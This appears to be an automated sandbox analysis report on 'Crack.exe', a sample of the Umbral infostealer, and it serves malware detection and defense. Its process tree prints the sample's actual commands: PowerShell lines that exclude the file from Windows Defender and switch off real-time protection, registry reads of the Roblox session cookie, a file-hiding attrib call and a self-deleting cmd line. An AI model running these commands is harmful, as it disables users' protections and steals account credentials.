umbral | dc1fd062f4b5dedf2e3c9e3a50f2c0bf6d96ec83bb12f95cab6cf47c395994b4

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-12-2024 11:49

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General

Target

Crack.exe
Size

229KB
MD5

54a4fef24ac2c3ee74b2999530825faa
SHA1

c03fd109fe013c11a780120841b2441fb747cf51
SHA256

766d71850cce1d3ce7ccecd302b3ff2049e765e48cbd69c53b4f122754a7f14f
SHA512

97a5d1dd811a51200115a3f878940f4fd6ac8bd1dbf6081c251290aeec6962d277f48c02075aefbcfa672805bf4921c8a8c2abfa0bf20e76bf13c6c6738a8419
SSDEEP

6144:9loZM+rIkd8g+EtXHkv/iD4AvO18il92ADe8NhoKub8e1mCi:foZtL+EP8AvO18il92ADe8Nhohs

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1964-1-0x00000000003C0000-0x0000000000400000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2960	powershell.exe
2684	powershell.exe
1996	powershell.exe
2768	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Crack.exe

Deletes itself 1 IoCs

pid	Process
1404	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
10	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1404	cmd.exe
936	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2424	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
936	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1964	Crack.exe
2768	powershell.exe
2960	powershell.exe
2684	powershell.exe
676	powershell.exe
1996	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1964	Crack.exe
Token: SeIncreaseQuotaPrivilege	2980	wmic.exe
Token: SeSecurityPrivilege	2980	wmic.exe
Token: SeTakeOwnershipPrivilege	2980	wmic.exe
Token: SeLoadDriverPrivilege	2980	wmic.exe
Token: SeSystemProfilePrivilege	2980	wmic.exe
Token: SeSystemtimePrivilege	2980	wmic.exe
Token: SeProfSingleProcessPrivilege	2980	wmic.exe
Token: SeIncBasePriorityPrivilege	2980	wmic.exe
Token: SeCreatePagefilePrivilege	2980	wmic.exe
Token: SeBackupPrivilege	2980	wmic.exe
Token: SeRestorePrivilege	2980	wmic.exe
Token: SeShutdownPrivilege	2980	wmic.exe
Token: SeDebugPrivilege	2980	wmic.exe
Token: SeSystemEnvironmentPrivilege	2980	wmic.exe
Token: SeRemoteShutdownPrivilege	2980	wmic.exe
Token: SeUndockPrivilege	2980	wmic.exe
Token: SeManageVolumePrivilege	2980	wmic.exe
Token: 33	2980	wmic.exe
Token: 34	2980	wmic.exe
Token: 35	2980	wmic.exe
Token: SeIncreaseQuotaPrivilege	2980	wmic.exe
Token: SeSecurityPrivilege	2980	wmic.exe
Token: SeTakeOwnershipPrivilege	2980	wmic.exe
Token: SeLoadDriverPrivilege	2980	wmic.exe
Token: SeSystemProfilePrivilege	2980	wmic.exe
Token: SeSystemtimePrivilege	2980	wmic.exe
Token: SeProfSingleProcessPrivilege	2980	wmic.exe
Token: SeIncBasePriorityPrivilege	2980	wmic.exe
Token: SeCreatePagefilePrivilege	2980	wmic.exe
Token: SeBackupPrivilege	2980	wmic.exe
Token: SeRestorePrivilege	2980	wmic.exe
Token: SeShutdownPrivilege	2980	wmic.exe
Token: SeDebugPrivilege	2980	wmic.exe
Token: SeSystemEnvironmentPrivilege	2980	wmic.exe
Token: SeRemoteShutdownPrivilege	2980	wmic.exe
Token: SeUndockPrivilege	2980	wmic.exe
Token: SeManageVolumePrivilege	2980	wmic.exe
Token: 33	2980	wmic.exe
Token: 34	2980	wmic.exe
Token: 35	2980	wmic.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	676	powershell.exe
Token: SeIncreaseQuotaPrivilege	2868	wmic.exe
Token: SeSecurityPrivilege	2868	wmic.exe
Token: SeTakeOwnershipPrivilege	2868	wmic.exe
Token: SeLoadDriverPrivilege	2868	wmic.exe
Token: SeSystemProfilePrivilege	2868	wmic.exe
Token: SeSystemtimePrivilege	2868	wmic.exe
Token: SeProfSingleProcessPrivilege	2868	wmic.exe
Token: SeIncBasePriorityPrivilege	2868	wmic.exe
Token: SeCreatePagefilePrivilege	2868	wmic.exe
Token: SeBackupPrivilege	2868	wmic.exe
Token: SeRestorePrivilege	2868	wmic.exe
Token: SeShutdownPrivilege	2868	wmic.exe
Token: SeDebugPrivilege	2868	wmic.exe
Token: SeSystemEnvironmentPrivilege	2868	wmic.exe
Token: SeRemoteShutdownPrivilege	2868	wmic.exe
Token: SeUndockPrivilege	2868	wmic.exe
Token: SeManageVolumePrivilege	2868	wmic.exe
Token: 33	2868	wmic.exe
Token: 34	2868	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1964 wrote to memory of 2980	1964	Crack.exe	30
PID 1964 wrote to memory of 2980	1964	Crack.exe	30
PID 1964 wrote to memory of 2980	1964	Crack.exe	30
PID 1964 wrote to memory of 2892	1964	Crack.exe	33
PID 1964 wrote to memory of 2892	1964	Crack.exe	33
PID 1964 wrote to memory of 2892	1964	Crack.exe	33
PID 1964 wrote to memory of 2768	1964	Crack.exe	35
PID 1964 wrote to memory of 2768	1964	Crack.exe	35
PID 1964 wrote to memory of 2768	1964	Crack.exe	35
PID 1964 wrote to memory of 2960	1964	Crack.exe	37
PID 1964 wrote to memory of 2960	1964	Crack.exe	37
PID 1964 wrote to memory of 2960	1964	Crack.exe	37
PID 1964 wrote to memory of 2684	1964	Crack.exe	39
PID 1964 wrote to memory of 2684	1964	Crack.exe	39
PID 1964 wrote to memory of 2684	1964	Crack.exe	39
PID 1964 wrote to memory of 676	1964	Crack.exe	41
PID 1964 wrote to memory of 676	1964	Crack.exe	41
PID 1964 wrote to memory of 676	1964	Crack.exe	41
PID 1964 wrote to memory of 2868	1964	Crack.exe	43
PID 1964 wrote to memory of 2868	1964	Crack.exe	43
PID 1964 wrote to memory of 2868	1964	Crack.exe	43
PID 1964 wrote to memory of 2672	1964	Crack.exe	45
PID 1964 wrote to memory of 2672	1964	Crack.exe	45
PID 1964 wrote to memory of 2672	1964	Crack.exe	45
PID 1964 wrote to memory of 1656	1964	Crack.exe	47
PID 1964 wrote to memory of 1656	1964	Crack.exe	47
PID 1964 wrote to memory of 1656	1964	Crack.exe	47
PID 1964 wrote to memory of 1996	1964	Crack.exe	49
PID 1964 wrote to memory of 1996	1964	Crack.exe	49
PID 1964 wrote to memory of 1996	1964	Crack.exe	49
PID 1964 wrote to memory of 2424	1964	Crack.exe	51
PID 1964 wrote to memory of 2424	1964	Crack.exe	51
PID 1964 wrote to memory of 2424	1964	Crack.exe	51
PID 1964 wrote to memory of 1404	1964	Crack.exe	53
PID 1964 wrote to memory of 1404	1964	Crack.exe	53
PID 1964 wrote to memory of 1404	1964	Crack.exe	53
PID 1404 wrote to memory of 936	1404	cmd.exe	55
PID 1404 wrote to memory of 936	1404	cmd.exe	55
PID 1404 wrote to memory of 936	1404	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2892	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Crack.exe
"C:\Users\Admin\AppData\Local\Temp\Crack.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2980
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Crack.exe"
  2⤵
  - Views/modifies file attributes
  PID:2892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Crack.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:676
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2868
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2672
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1996
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2424
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Crack.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4L08K0LFFY0RTJJS3773.temp

Filesize
7KB

MD5
6b209034ce685de536021235aa480939

SHA1
d639bb55bbddc526df2660a51104e7b1120a7db6

SHA256
07a1525f354c17532e7b6b4b76c6526337ef82e82b5f67d07d27ca09a91ef7dd

SHA512
ab9cb3942d15d7e238a0a4dba9ddd862b94126cfbdfa36f5f10b68efa72a839d4b1c684225344e6d59b51f4fcfd3e4174796a64bc7a063e79c05ec5fde6ee97b

Download Submit
memory/1964-0-0x000007FEF5883000-0x000007FEF5884000-memory.dmp

Filesize
4KB

Download
memory/1964-1-0x00000000003C0000-0x0000000000400000-memory.dmp

Filesize
256KB

Download
memory/1964-2-0x000007FEF5880000-0x000007FEF626C000-memory.dmp

Filesize
9.9MB

Download
memory/1964-48-0x000007FEF5880000-0x000007FEF626C000-memory.dmp

Filesize
9.9MB

Download
memory/1996-44-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2768-7-0x000000001B870000-0x000000001BB52000-memory.dmp

Filesize
2.9MB

Download
memory/2768-8-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2960-14-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2960-15-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download